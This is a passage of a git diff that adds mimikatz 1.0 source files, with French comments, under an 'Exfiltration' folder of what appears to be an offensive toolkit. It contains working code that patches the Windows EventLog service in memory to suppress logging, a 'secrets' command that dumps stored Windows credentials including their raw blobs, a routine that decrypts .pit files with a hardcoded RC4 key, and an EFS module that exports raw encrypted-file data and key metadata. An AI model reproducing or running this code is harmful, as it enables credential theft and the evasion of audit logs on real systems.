+ BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x50, 0x8d, 0x44, 0x24, 0x28, 0x64, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x75, 0x0c};
+ LONG OFFS_WN62_Channel__ActualProcessEvent = -(5 + 1 + 1 + 1 + 3 + 1 + 6 + 5 + 2 + 3 + 2 + 1 + 2);
+
+ BYTE PATC_WNO8_Channel__ActualProcessEvent[] = {0xc2, 0x04, 0x00};
+ BYTE PATC_WIN8_Channel__ActualProcessEvent[] = {0xc2, 0x08, 0x00};
+#endif
+
+ BYTE * PTRN_Process = NULL; DWORD SIZE_PTRN_Process = 0;
+ BYTE * PATC_Process = NULL; DWORD SIZE_PATC_Process = 0;
+ LONG OFFS_PATC_Process = 0;
+ wstring libEvent;
+
+ if(mod_system::GLOB_Version.dwMajorVersion < 6)
+ {
+ libEvent.assign(LIBNAME_WNT5_EVTLOG);
+ PTRN_Process = PTRN_WNT5_PerformWriteRequest; SIZE_PTRN_Process = sizeof(PTRN_WNT5_PerformWriteRequest);
+ PATC_Process = PATC_WNT5_PerformWriteRequest; SIZE_PATC_Process = sizeof(PATC_WNT5_PerformWriteRequest);
+ OFFS_PATC_Process = OFFS_WNT5_PerformWriteRequest;
+ }
+ else
+ {
+ libEvent.assign(LIBNAME_WNT6_EVTLOG);
+ if(mod_system::GLOB_Version.dwMinorVersion < 1)
+ {
+ PTRN_Process = PTRN_WN60_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PTRN_WN60_Channel__ActualProcessEvent);
+ OFFS_PATC_Process = OFFS_WN60_Channel__ActualProcessEvent;
+#ifdef _M_X64
+ }
+#elif defined _M_IX86
+ PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent);
+ }
+ else if(mod_system::GLOB_Version.dwMinorVersion < 2)
+ {
+ PTRN_Process = PATC_WN61_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN61_Channel__ActualProcessEvent);
+ OFFS_PATC_Process = OFFS_WN61_Channel__ActualProcessEvent;
+ PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent);
+ }
+#endif
+ else
+ {
+ PTRN_Process = PATC_WN62_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN62_Channel__ActualProcessEvent);
+ OFFS_PATC_Process = OFFS_WN62_Channel__ActualProcessEvent;
+#ifdef _M_IX86
+ PATC_Process = PATC_WIN8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WIN8_Channel__ActualProcessEvent);
+#endif
+ }
+
+#ifdef _M_X64
+ PATC_Process = PATC_WNT6_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNT6_Channel__ActualProcessEvent);
+#endif
+ }
+
+ mod_patch::patchModuleOfService(L"EventLog", libEvent, PTRN_Process, SIZE_PTRN_Process, PATC_Process, SIZE_PATC_Process, OFFS_PATC_Process);
+
+ return true;
+}
+
+bool mod_mimikatz_divers::secrets(vector<wstring> * arguments)
+{
+ DWORD credNb = 0;
+ PCREDENTIAL * pCredential = NULL;
+ DWORD flags = (arguments->empty() ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS);
+
+ if(CredEnumerate(NULL, flags, &credNb, &pCredential))
+ {
+ (*outputStream) << L"Nombre de secrets : " << credNb << endl;
+
+ for(DWORD i = 0; i < credNb; i++)
+ {
+ wstring type;
+ bool isCertificate = false;
+ switch(pCredential[i]->Type)
+ {
+ case CRED_TYPE_GENERIC:
+ type.assign(L"GENERIC");
+ break;
+ case CRED_TYPE_DOMAIN_PASSWORD:
+ type.assign(L"DOMAIN_PASSWORD");
+ break;
+ case CRED_TYPE_DOMAIN_CERTIFICATE:
+ type.assign(L"DOMAIN_CERTIFICATE");
+ isCertificate = true;
+ break;
+ case CRED_TYPE_DOMAIN_VISIBLE_PASSWORD:
+ type.assign(L"DOMAIN_VISIBLE_PASSWORD");
+ break;
+ case CRED_TYPE_GENERIC_CERTIFICATE:
+ type.assign(L"GENERIC_CERTIFICAT");
+ isCertificate = true;
+ break;
+ case CRED_TYPE_DOMAIN_EXTENDED:
+ type.assign(L"DOMAIN_EXTENDED");
+ break;
+ default:
+ type.assign(L"?");
+ }
+
+ (*outputStream) <<
+ L"TargetName : " << (pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>") << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>") << endl <<
+ L"Type : " << type << L" (" << pCredential[i]->Type << L')' << endl <<
+ L"Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>") << endl <<
+ L"UserName : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>") << endl <<
+ L"Credential : " << mod_text::stringOrHex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize) << endl <<
+ endl;
+ }
+ CredFree(pCredential);
+ }
+ else (*outputStream) << L"CredEnumerate : " << mod_system::getWinError() << endl;
+
+ return true;
+}
+
+
+bool mod_mimikatz_divers::pitme(vector<wstring> * arguments)
+{
+ static const BYTE HARDCODED_KEY[] = {
+ 0x80, 0x5b, 0xe8, 0x18, 0x6f, 0x64, 0x89, 0x3a, 0x34, 0xce, 0x59, 0xdf, 0x4d, 0xb4, 0x5a, 0x0f,
+ 0x69, 0x94, 0x58, 0x70, 0x71, 0x4b, 0x17, 0xcf, 0xc3, 0x40, 0xaa, 0xfc, 0xc5, 0xe0, 0x21, 0xdb,
+ 0x9a, 0x49, 0x68, 0xb8, 0x2f, 0x4a, 0x6c, 0xdc, 0x7a, 0x8b, 0x7f, 0x5c, 0x03, 0x08, 0xfe, 0x39,
+ 0xa3, 0xc6, 0x31, 0xa6, 0x8c, 0xbd, 0x72, 0xa4, 0x8a, 0x1b, 0x92, 0xd5, 0x87, 0xad, 0x78, 0x8f,
+ 0x55, 0x96, 0x0b, 0x30, 0xa8, 0x43, 0x53, 0xb0, 0x62, 0xa0, 0xda, 0x7c, 0x13, 0x8d, 0x5d, 0x81,
+ 0xc0, 0x8e, 0x90, 0x88, 0xe4, 0xb7, 0x76, 0xc2, 0xb5, 0x04, 0x93, 0xa5, 0xa9, 0x9e, 0xab, 0xf5,
+ 0x37, 0xac, 0x99, 0x26, 0xe2, 0x38, 0x85, 0xe1, 0x74, 0x77, 0x32, 0xe5, 0x91, 0x23, 0xb1, 0x10,
+ 0x4c, 0x47, 0x3f, 0xbe, 0x82, 0x22, 0x6a, 0x51, 0xd0, 0x63, 0x75, 0x11, 0x33, 0x9b, 0xfb, 0x3b,
+ 0xca, 0xed, 0xdd, 0x44, 0xe6, 0x12, 0x4e, 0x97, 0x3c, 0x79, 0x4f, 0x41, 0x66, 0xba, 0x50, 0x0e,
+ 0xc9, 0x6b, 0x05, 0xee, 0x6e, 0xe7, 0x95, 0x7b, 0x60, 0x9d, 0xff, 0xc4, 0x29, 0x86, 0xb9, 0x7d,
+ 0x98, 0xc8, 0x9c, 0x35, 0xbb, 0xbc, 0xef, 0xfa, 0x3d, 0x06, 0xf9, 0x36, 0xbf, 0x3e, 0x7e, 0xa2,
+ 0xc7, 0x56, 0xae, 0xcb, 0xaf, 0xe9, 0x42, 0x61, 0xf0, 0x1d, 0xfd, 0x65, 0x9f, 0x52, 0x27, 0xea,
+ 0x24, 0xa1, 0xa7, 0xb2, 0x6d, 0x14, 0xb3, 0x45, 0xf8, 0xb6, 0xf7, 0x73, 0xc1, 0x83, 0x84, 0xf4,
+ 0xcc, 0xcd, 0xf3, 0xe3, 0x54, 0x15, 0xd1, 0x46, 0x07, 0x57, 0x2c, 0xd2, 0xd3, 0xd6, 0xd4, 0xd7,
+ 0xf6, 0xeb, 0xd8, 0x1c, 0x00, 0x09, 0xec, 0x67, 0x0a, 0xd9, 0x16, 0xde, 0xf1, 0xf2, 0x01, 0x2d,
+ 0x5e, 0x48, 0x02, 0x0c, 0x5f, 0x0d, 0x19, 0x1a, 0x28, 0x1e, 0x1f, 0x20, 0x25, 0x2a, 0x2b, 0x2e
+ };
+ static const DWORD SUBKEY_SIZE = 16;
+ static const BYTE HEADER_PIT[] = {'P', 'I', 'T'};
+
+ FILE * monFichierSource, * monFichierDestination;
+ BYTE * monBuffer, * monBufferData;
+ ULONG tailleFichierSource, tailleData;
+
+ if(arguments->size() < 1)
+ {
+ (*outputStream) << L"divers:::pitme file.pit [file.rdp]" << endl;
+ }
+ else
+ {
+ (*outputStream) << L" * Ouverture en lecture du fichier \'" << arguments->front() << L"\' : ";
+ if(monFichierSource = _wfopen(arguments->front().c_str(), L"rb"))
+ {
+ fseek(monFichierSource, 0, SEEK_END);
+ tailleFichierSource = ftell(monFichierSource);
+ monBuffer = new BYTE[tailleFichierSource];
+ fseek(monFichierSource, 0, SEEK_SET);
+ fread(monBuffer, tailleFichierSource, 1, monFichierSource);
+ fclose(monFichierSource);
+
+ (*outputStream) << L"OK" << endl << L" * Déchiffrement n°1 : ";
+ if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource, HARDCODED_KEY, sizeof(HARDCODED_KEY), CALG_RC4))
+ {
+ (*outputStream) << L"OK" << endl << L" * Déchiffrement n°2 : ";
+ if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource - SUBKEY_SIZE, monBuffer + tailleFichierSource - SUBKEY_SIZE, SUBKEY_SIZE, CALG_RC4))
+ {
+ (*outputStream) << L"OK" << endl << L" * En-tête : ";
+ if(memcmp(monBuffer, HEADER_PIT, sizeof(HEADER_PIT)) == 0)
+ {
+ (*outputStream) << L"OK" << endl;
+ monBufferData = monBuffer + sizeof(HEADER_PIT);
+ tailleData = tailleFichierSource - sizeof(HEADER_PIT) - SUBKEY_SIZE;
+
+ if(arguments->size() > 1)
+ {
+ (*outputStream) << L" * Ouverture en écriture du fichier \'" << arguments->back() << L"\' : ";
+ if(monFichierDestination = _wfopen(arguments->back().c_str(), L"wb"))
+ {
+ (*outputStream) << L"OK" << endl;
+ fwrite(monBufferData, tailleData, 1, monFichierDestination);
+ fclose(monFichierDestination);
+ }
+ else (*outputStream) << L"KO" << endl;
+ }
+ else (*outputStream) << L" * Données : " << endl << endl << wstring(reinterpret_cast<char *>(monBufferData), reinterpret_cast<char *>(monBufferData + tailleData)) << endl;
+ }
+ else (*outputStream) << L"KO - différent de \'PIT\' ; " << mod_text::stringOfHex(HEADER_PIT, sizeof(HEADER_PIT)) << L" != " << mod_text::stringOfHex(monBuffer, sizeof(HEADER_PIT)) << endl;
+ }
+ else (*outputStream) << L"KO";
+ }
+ else (*outputStream) << L"KO";
+ delete [] monBuffer;
+ }
+ else (*outputStream) << L"KO" << endl;
+ }
+ return true;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h
new file mode 100644
index 0000000..9bfcf9f
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h
@@ -0,0 +1,30 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_process.h"
+#include "mod_patch.h"
+#include "mod_secacl.h"
+#include "mod_text.h"
+#include "mod_crypto.h"
+#include <iostream>
+#include <wincred.h>
+#include "..\global.h"
+
+class mod_mimikatz_divers
+{
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool cancelator(vector<wstring> * arguments);
+ static bool noroutemon(vector<wstring> * arguments);
+ static bool eventdrop(vector<wstring> * arguments);
+ static bool secrets(vector<wstring> * arguments);
+ static bool nodetour(vector<wstring> * arguments);
+ static bool pitme(vector<wstring> * arguments);
+};
+
+
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp
new file mode 100644
index 0000000..366c062
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp
@@ -0,0 +1,300 @@
+/* Benjamin DELPY `gentilkiwi`
+http://blog.gentilkiwi.com
+benjamin@gentilkiwi.com
+Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_efs.h"
+#include "..\global.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_efs::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Affiche des informations basiques sur un fichier chiffré"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"full", L"Affiche des informations très détaillées sur un fichier chiffré"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(toraw, L"toraw", L"Dump les données EFS d'un fichier chiffré vers un fichier brut"));
+ // monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(fromraw, L"fromraw"));
+ return monVector;
+}
+
+bool mod_mimikatz_efs::infos(vector<wstring> * arguments)
+{
+ if(!arguments->empty())
+ {
+ PENCRYPTION_CERTIFICATE_HASH_LIST pHashes = NULL;
+
+ if(QueryUsersOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS)
+ {
+ (*outputStream) << L"Utilisateur(s) déclaré(s) : " << pHashes->nCert_Hash << endl;
+ printInfos(pHashes);
+ FreeEncryptionCertificateHashList(pHashes);
+ }
+ else (*outputStream) << L"Erreur QueryUsersOnEncryptedFile : " << mod_system::getWinError() << endl;
+
+ if(QueryRecoveryAgentsOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS)
+ {
+ (*outputStream) << L"Agent(s) de recouvrement : " << pHashes->nCert_Hash << endl;
+ printInfos(pHashes);
+ FreeEncryptionCertificateHashList(pHashes);
+ }
+ else (*outputStream) << L"Erreur QueryRecoveryAgentsOnEncryptedFile : " << mod_system::getWinError() << endl;
+
+ }
+ return true;
+}
+
+bool mod_mimikatz_efs::full(vector<wstring> * arguments)
+{
+ if(!arguments->empty())
+ {
+ PVOID pvContext = NULL;
+ if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS)
+ {
+ SIMPLE_BYTE_ARRAY sba = {0, reinterpret_cast<BYTE *>(malloc(0))};
+ if(ReadEncryptedFileRaw(ExportToArrayCallback, &sba, pvContext) == ERROR_SUCCESS)
+ {
+ PEFS_FEK Fek = NULL;
+ PEFS_STREAM_DATA_SEGMENT monDataSegment = NULL;
+ for(
+ PEFS_MARSHALED_STREAM monMarshaledStream = reinterpret_cast<PEFS_MARSHALED_STREAM>(sba.tableau + sizeof(EFS_RAW));
+ reinterpret_cast<PBYTE>(monMarshaledStream) < (sba.tableau + sba.nbElements);
+ monMarshaledStream = reinterpret_cast<PEFS_MARSHALED_STREAM>(monDataSegment)
+ )
+ {
+
+ bool isEFSMetaData = (monMarshaledStream->NameLenght == 2) && (monMarshaledStream->StreamName[0] == 0x1910);
+
+ (*outputStream) << endl <<
+ L"Marshaled Stream :" << endl <<
+ L" * Taille : " << monMarshaledStream->Length << endl <<
+ L" * Flag : " << monMarshaledStream->Flag << endl <<
+ L" * Nom : " << (isEFSMetaData ? wstring(L"(EFS Metadata stream)") : wstring(monMarshaledStream->StreamName, monMarshaledStream->NameLenght / sizeof(wchar_t))) << endl <<
+ L" * Type : " << (isEFSMetaData ? L"EFS Metadata" : L"DATA") << endl <<
+ endl;
+
+ for(
+ monDataSegment = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT>(reinterpret_cast<PBYTE>(monMarshaledStream) + monMarshaledStream->Length);
+ (reinterpret_cast<PBYTE>(monDataSegment) < (sba.tableau + sba.nbElements)) && (monDataSegment->GURE0 == 0x00550047) && (monDataSegment->GURE1 == 0x00450052);
+ monDataSegment = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT>(reinterpret_cast<PBYTE>(monDataSegment) + monDataSegment->Length)
+ )
+
+ {
+ (*outputStream) << L"DataSegment : " << endl;
+ PBYTE StreamData = reinterpret_cast<PBYTE>(monDataSegment) + sizeof(EFS_STREAM_DATA_SEGMENT);
+
+ if(isEFSMetaData)
+ {
+ (*outputStream) << L" EFS Metadata :" << endl;
+
+ PEFS_METADATA_1 mesAttr = reinterpret_cast<PEFS_METADATA_1>(StreamData);
+ (*outputStream) << L" * Version EFS : " << mesAttr->EFS_Version << endl;
+ if(mesAttr->DDF_Offset)
+ {
+ (*outputStream) << L" * Utilisateur(s) déclaré(s) :" << endl;
+ fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DDF_Offset, &Fek);
+ }
+ if(mesAttr->DRF_Offset)
+ {
+ (*outputStream) << L" * Agent(s) de recouvrement :" << endl;
+ fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DRF_Offset, &Fek);
+ }
+ }
+ else
+ {
+ (*outputStream) << L" DATA :" << endl;
+ if(!monMarshaledStream->Flag)
+ {
+ (*outputStream) << L" DATA Segment Encryption Header :" << endl;
+ PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER monSegEncHead = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER>(StreamData);
+ (*outputStream) <<
+ L" * Length : " << monSegEncHead->Length << endl <<
+ L" * StartingFile_Offset : " << monSegEncHead->StartingFile_Offset << endl <<
+ L" * BytesWithinStreamSize : " << monSegEncHead->BytesWithinStreamSize << endl <<
+ L" * BytesWithinVDL : " << monSegEncHead->BytesWithinVDL << endl <<
+ L" * DataUnitShift : " << monSegEncHead->DataUnitShift << endl <<
+ L" * ChunkShift : " << monSegEncHead->ChunkShift << endl <<
+ L" * ClusterShift : " << monSegEncHead->ClusterShift << endl <<
+ L" * NumberOfDataBlocks : " << monSegEncHead->NumberOfDataBlocks << endl <<
+ endl;
+
+ PEFS_EXTENDED_HEADER monExtHeader = reinterpret_cast<PEFS_EXTENDED_HEADER>(reinterpret_cast<PBYTE>(monSegEncHead) + FIELD_OFFSET(EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, DataBlockSizes) + (sizeof(DWORD) * monSegEncHead->NumberOfDataBlocks));
+ if(monExtHeader->EXTD_Number == 'DTXE')
+ {
+ (*outputStream) << L" * Extended Header Flag : " << monExtHeader->Flags << endl;
+ }
+
+ for(DWORD block = 0; block < monSegEncHead->NumberOfDataBlocks; block++)
+ {
+ (*outputStream) << L" -> Block " << block+1 << L" ; taille : " << monSegEncHead->DataBlockSizes[block] << endl;
+
+ PBYTE mesDatas = reinterpret_cast<PBYTE>(StreamData) + monSegEncHead->Length;
+ (*outputStream) << mod_text::stringOfHex(mesDatas, monSegEncHead->DataBlockSizes[block], 16) << endl;
+
+ if(Fek);
+ }
+ }
+ else
+ {
+ (*outputStream) << L"TODO Data" << endl;
+ }
+ }
+ }
+ }
+ }
+ else (*outputStream) << L"Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl;
+
+ free(sba.tableau);
+ CloseEncryptedFileRaw(pvContext);
+ }
+ else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl;
+ }
+ return true;
+}
+
+bool mod_mimikatz_efs::toraw(vector<wstring> * arguments)
+{
+ if(arguments->size() == 2)
+ {
+ PVOID pvContext = NULL;
+ (*outputStream) << L"Ouverture de : " << arguments->front() << endl;
+ if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS)
+ {
+ (*outputStream) << L"Vers : " << arguments->back() << endl;
+ HANDLE hFile = CreateFile(arguments->back().c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
+ if(ReadEncryptedFileRaw(ExportToFileCallback, &hFile, pvContext) == ERROR_SUCCESS)
+ {
+ (*outputStream) << L" * Export OK" << endl;
+ }
+ else (*outputStream) << L"* Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl;
+ CloseHandle(hFile);
+ CloseEncryptedFileRaw(pvContext);
+ }
+ else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl;
+ }
+ return true;
+}
+
+void mod_mimikatz_efs::printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList)
+{
+ for(DWORD i = 0; i < hashList->nCert_Hash; i++)
+ {
+ wstring user;
+ mod_secacl::simpleSidToString(hashList->pUsers[i]->pUserSid, &user);
+
+ (*outputStream) <<
+ L" * Nom : " << user << endl <<
+ L" * Nom simple : " << hashList->pUsers[i]->lpDisplayInformation << endl <<
+ L" * Hash du certificat : " << mod_text::stringOfHex(hashList->pUsers[i]->pHash->pbData, hashList->pUsers[i]->pHash->cbData) << endl <<
+ endl;
+ }
+}
+
+DWORD WINAPI mod_mimikatz_efs::ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength)
+{
+ if(ulLength)
+ {
+ PSIMPLE_BYTE_ARRAY sba = reinterpret_cast<PSIMPLE_BYTE_ARRAY>(pvCallbackContext);
+ sba->tableau = reinterpret_cast<PBYTE>(realloc(sba->tableau, sba->nbElements + ulLength));
+ if(sba->tableau)
+ {
+ RtlCopyMemory(sba->tableau + sba->nbElements, pbData, ulLength);
+ sba->nbElements += ulLength;
+ }
+ else
+ return ERROR_NOT_ENOUGH_MEMORY;
+ }
+ return ERROR_SUCCESS;
+}
+
+DWORD WINAPI mod_mimikatz_efs::ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, ULONG ulLength)
+{
+ if(ulLength)
+ {
+ (*outputStream) << L" - Lecture d\'un bloc de : " << ulLength << endl;
+ DWORD dwBytesWritten = 0;
+ if(WriteFile(*reinterpret_cast<PHANDLE>(pvCallbackContext), pbData, ulLength, &dwBytesWritten, NULL) && (ulLength == dwBytesWritten))
+ return ERROR_SUCCESS;
+ return GetLastError();
+ }
+ return ERROR_SUCCESS;
+}
+
+bool mod_mimikatz_efs::fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * pFek)
+{
+ *pFek = NULL;
+ PEFS_KEY_LIST monHead = reinterpret_cast<PEFS_KEY_LIST>(reinterpret_cast<PBYTE>(header) + KeyList_offset);
+
+ PEFS_KEY_LIST_ENTRY monHeader = reinterpret_cast<PEFS_KEY_LIST_ENTRY>(monHead);
+ DWORD previousSize = sizeof(PEFS_KEY_LIST);
+ for(DWORD i = 0; i < monHead->Length; i++)
+ {
+ (*outputStream) << endl << L" Champ de données " << (i + 1) << L" :" << endl;
+ monHeader = reinterpret_cast<PEFS_KEY_LIST_ENTRY>((PBYTE) monHeader + previousSize);
+
+ PEFS_PUBLIC_KEY_INFORMATION monCredHeader = reinterpret_cast<PEFS_PUBLIC_KEY_INFORMATION>(reinterpret_cast<PBYTE>(monHeader) + monHeader->PKI_Offset);
+ wstring user;
+ if(monCredHeader->OwnerSID_offset)
+ mod_secacl::simpleSidToString((reinterpret_cast<PBYTE>(monCredHeader) + monCredHeader->OwnerSID_offset), &user);
+ else user.assign(L"(null)");
+
+ (*outputStream) << L" * Utilisateur : " << user << endl;
+ fullInfosFromEFS_CERTIFICATE_DATA(monCredHeader, monCredHeader->Certificate_offset);
+
+ PBYTE Encrypted_FEK = reinterpret_cast<PBYTE>(monHeader) + monHeader->Enc_FEK_Offset;
+ (*outputStream) <<
+ L" * Flags : " << monHeader->Flags << endl <<
+ L" * FEK (chiffrée) : " << endl <<
+ L" -> Taille : " << monHeader->Enc_FEK_Length << endl <<
+ L" -> Données : " << endl << mod_text::stringOfHex(Encrypted_FEK, monHeader->Enc_FEK_Length, 16) << endl <<
+ endl;
+
+ /*HCRYPTPROV hCryptKeyProv;
+ if(CryptAcquireContext(&hCryptKeyProv, L"", MS_STRONG_PROV, PROV_RSA_FULL, NULL ))
+ {
+ HCRYPTKEY maCle = NULL;
+ if(CryptGetUserKey(hCryptKeyProv, AT_KEYEXCHANGE, &maCle))
+ {
+ DWORD taille = monHeader->Enc_FEK_Length;
+ if (CryptDecrypt(maCle, 0, TRUE, 0, Encrypted_FEK, &taille) )
+ {
+ *pFek = reinterpret_cast<PEFS_FEK>(Encrypted_FEK);
+ (*outputStream) <<
+ L" * FEK (clair) : " << endl <<
+ L" -> Taille : " << (*pFek)->Key_Lenght << endl <<
+ L" -> Algorithme : " << (*pFek)->Algorithm << endl <<
+ L" -> Entropie : " << (*pFek)->Entropy << endl <<
+ L" -> Données : " << endl << mod_text::stringOfHex((*pFek)->Key, (*pFek)->Key_Lenght, 16) << endl <<
+ endl;
+ }
+ else
+ (*outputStream) << mod_system::getWinError() << endl;
+ }
+ CryptReleaseContext(hCryptKeyProv, 0);
+ }*/
+
+ previousSize = monHeader->Length;
+ }
+
+ return (*pFek != NULL);
+}
+
+void mod_mimikatz_efs::fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset)
+{
+ PEFS_CERTIFICATE_DATA monThCertificate = reinterpret_cast<PEFS_CERTIFICATE_DATA>(reinterpret_cast<PBYTE>(header) + header->Certificate_offset);
+
+ (*outputStream) << L" -> Nom affiché : ";
+ if(monThCertificate->DisplayName_Offset)
+ (*outputStream) << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->DisplayName_Offset);
+ (*outputStream) << endl;
+
+ (*outputStream) << L" -> Provider : ";
+ if(monThCertificate->ProviderName_Offset)
+ (*outputStream) << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->ProviderName_Offset);
+ (*outputStream) << endl;
+
+ (*outputStream) << L" -> Container : ";
+ if(monThCertificate->ContainerName_Offset)
+ (*outputStream) << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->ContainerName_Offset);
+ (*outputStream) << endl;
+
+ (*outputStream) << L" -> Empreinte : " << mod_text::stringOfHex(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->CertificateThumbprint, monThCertificate->CertificateThumbprint_Length) << endl;
+}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h
new file mode 100644
index 0000000..0a82140
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h
@@ -0,0 +1,133 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include <WinEFS.h>
+#include <iostream>
+#include "mod_text.h"
+#include "mod_system.h"
+#include "mod_secacl.h"
+#include "mod_crypto.h"
+
+class mod_mimikatz_efs
+{
+private:
+ // http://msdn.microsoft.com/library/cc230447.aspx
+ typedef struct _EFS_RAW {
+ DWORD Unknown0;
+ DWORD ROBS0;
+ DWORD ROBS1;
+ BYTE Reserved[8];
+ } EFS_RAW, *PEFS_RAW;
+
+ typedef struct _EFS_MARSHALED_STREAM {
+ DWORD Length;
+ DWORD NTFS0;
+ DWORD NTFS1;
+ DWORD Flag;
+ BYTE Reserved[8];
+ DWORD NameLenght;
+ wchar_t StreamName[1];
+ } EFS_MARSHALED_STREAM, *PEFS_MARSHALED_STREAM;
+
+ typedef struct _EFS_STREAM_DATA_SEGMENT {
+ DWORD Length;
+ DWORD GURE0;
+ DWORD GURE1;
+ DWORD Reserved;
+ } EFS_STREAM_DATA_SEGMENT, *PEFS_STREAM_DATA_SEGMENT;
+
+ typedef struct _EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER {
+ LONG64 StartingFile_Offset;
+ DWORD Length;
+ DWORD BytesWithinStreamSize;
+ DWORD BytesWithinVDL;
+ USHORT ReservedForAlignement0;
+ BYTE DataUnitShift;
+ BYTE ChunkShift;
+ BYTE ClusterShift;
+ BYTE ReservedForAlignement1;
+ USHORT NumberOfDataBlocks;
+ DWORD DataBlockSizes[1];
+ } EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, *PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER;
+
+ typedef struct _EFS_EXTENDED_HEADER {
+ DWORD EXTD_Number;
+ DWORD Length;
+ DWORD Flags;
+ DWORD Reserved;
+ } EFS_EXTENDED_HEADER, *PEFS_EXTENDED_HEADER;
+
+ typedef struct _EFS_METADATA_1 {
+ DWORD Length;
+ DWORD Reserved1;
+ DWORD EFS_Version;
+ DWORD Reserved2;
+ BYTE EFS_ID[16];
+ BYTE EFS_Hash[16];
+ BYTE Reserved3[16];
+ LONG DDF_Offset;
+ LONG DRF_Offset;
+ BYTE Reserved4[12];
+ } EFS_METADATA_1, *PEFS_METADATA_1;
+
+ typedef struct _EFS_KEY_LIST {
+ DWORD Length;
+ } EFS_KEY_LIST, *PEFS_KEY_LIST;
+
+ typedef struct _EFS_KEY_LIST_ENTRY {
+ DWORD Length;
+ LONG PKI_Offset;
+ DWORD Enc_FEK_Length;
+ LONG Enc_FEK_Offset;
+ DWORD Flags;
+ } EFS_KEY_LIST_ENTRY, *PEFS_KEY_LIST_ENTRY;
+
+ typedef struct _EFS_PUBLIC_KEY_INFORMATION {
+ DWORD Length;
